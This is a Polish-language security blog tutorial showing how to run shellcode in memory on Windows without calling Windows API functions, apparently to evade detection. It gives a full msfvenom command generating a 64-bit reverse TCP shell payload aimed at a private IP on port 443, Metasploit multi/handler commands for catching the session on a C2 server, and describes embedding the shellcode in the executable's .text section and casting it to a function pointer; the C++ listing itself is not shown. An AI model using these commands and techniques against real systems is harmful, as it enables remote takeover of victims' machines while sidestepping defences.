Menu dostępności

Uruchomienie złośliwego kodu w pamięci na Windows bez korzystania z funkcji Windows API

W ostatnim naszym artykule pokazaliśmy uruchomienie złośliwego kodu za pomocą wbudowanych w Windows funkcji API np. VirtualAlloc() – funkcji powalającej zarezerwować lub zmienić alokację kodu w pamięci.
Jest to jedna ze znanych metod infekcji malware i uruchomienia go w pamięci komputera.

W dzisiejszym artykule pokażemy inną, równie ciekawą metodę na uruchomienie takiego złośliwego kodu z poziomu aplikacji napisanej w C/C++ bez korzystania ze wskaźników funkcji API (dobrze znanych interfejsów API systemu Windows, takich jak VirtualAlloc, CreateThread) lub w ogóle innych funkcji, nawet funkcji głównej (main w C/c++) 🙂 Cały kod zajmuje kilka linijek!


Co potrzebujemy?

Pierwszą rzeczą jaka musimy wygenerować to shellcode, który wstawimy jako zmienną do naszego programu napisanego w C++. Przygotować go możemy w dwóch krokach.

Krok 1. Wygenerowanie ładunku w C

Pierwszą rzeczą, jaką wykonamy to wygenerowanie ładunku w języku C++. Wygenerować go możemy za pomocą narzędzia Metasploit msfvenom, nastepującą komendą:

msfvenom -p windows/x64/shell_reverse_tcp -f c LHOST=172.16.215.129 LPORT=443

Krok 2. Przygotowanie nasłuchu połączenia odwrotnego TCP na serwerze C2

Drugą rzeczą jaką musimy przygotować to skonfigurowanie serwera C2 do nasłuchu na określonym porcie (w naszym przypadku 443) wszystkich połączeń/sesji od naszego kodu powłoki (ładunku), który zostanie uruchomiony na komputerze ofiary. Komunikacja będzie działała po połączeniu odwrotnym TCP, więc wystarczy, że wskażemy na sztywno adres IP serwera oraz port.

W tym celu posłużymy się modułem „multi/handler” w Metasploit, który przechwyci sesję po wykonaniu kodu powłoki w systemie docelowym.

Komendy jakie musimy wprowadzić to: use exploit/multi/handler set payload windows/x64/shell_reverse_tcp set LPORT 443 set LHOST 172.16.215.129 exploit


Napisanie kodu w C++ i kompilacja

W celu uruchomienia naszego ładunku przygotowanego w kroku 1, musimy użyć MS Visual C ++ i sekcji pragma wraz ze specyfikatorem deklaracji alokacji. W ten sposób wskażemy kompilatorowi C++, że chcemy, aby nasz shellcode został przydzielony w sekcji .text naszego przenośnego pliku wykonywalnego, co eliminuje potrzebę programu do przydzielania obiektu blob pamięci RWX do przechowywania kodu powłoki. Dodatkowo musimy rzucić tablicę zawierającą nasz shellcode na wskaźnik funkcji i wywołać ją – to pozwala nam pominąć CreateThread lub podobne API Windows, które są zwykle używane do przeskakiwania do shellcode

Kod w programie C++ wygląda następująco:

Po wstawieniu do zmiennej tablicowej shellcode (kodu wygenerowanego w kroku 1) i kompilacji programu możemy go uruchomić na Windows 10.

Po uruchomieniu na Windows 10 zobaczymy połączenie do naszego serwera C2 i będziemy posiadać uruchomioną zdalną sesję do Windows 10.

Popularne

Ważna zmiana w OWASP Top 10

Ważna zmiana w OWASP Top 10

OWASP, czyli Open Worldwide Application Security Project, zaproponowało nowe wydanie swojej klasycznej listy Top 10 ryzyk aplikacyjnych. Wersja z 2025 roku wprowadza kluczowe rozszerzenia dotyczące b...
Jak błąd w 7-Zip (CVE-2025-11001) daje hakerom dostęp do systemu Windows. Jest exploit

Jak błąd w 7-Zip (CVE-2025-11001) daje hakerom dostęp do systemu Windows. Jest exploit

Odkryto niezwykle niebezpieczną dla użytkowników systemów Windows podatność. Błąd o numerze CVE‑2025‑11001 jest już częściowo wykorzystywany, a dotyczy popularnego programu 7-Zip. Polega na niewłaściwe...
Wizualizacja ścieżek ataku na Active Directory za pomocą narzędzia BloodHound

Wizualizacja ścieżek ataku na Active Directory za pomocą narzędzia BloodHound

Krótko o narzędziu Bloodhound to narzędzie służące do wizualizacji i analizy powiązań w Active Directory. Dla atakującego jest niezastąpioną pomocą do znajdowania ścieżki ataku na najbardziej c...
Jak zmienić nieznane/zapomniane hasło Administratora na Windows?

Jak zmienić nieznane/zapomniane hasło Administratora na Windows?

W tym artykule pokażemy, jak możemy zmienić hasło administratora na komputerze posiadając do niego fizyczny dostęp. Artykuł ten można potraktować także jako przestrogę dla firm, które nie zaimplementowały jeszcze odpo...
Jak poznać hasło administratora lub użytkowników logujących się do Twojego komputera?

Jak poznać hasło administratora lub użytkowników logujących się do Twojego komputera?

Jeśli masz odrobinę szczęścia lub „odpowiednie umiejętności” i potrafisz zdobyć lokalne uprawnienia administracyjne na Twoim komputerze w firmie lub zaliczasz się do grona tych szczęściarzy, którzy pracuj...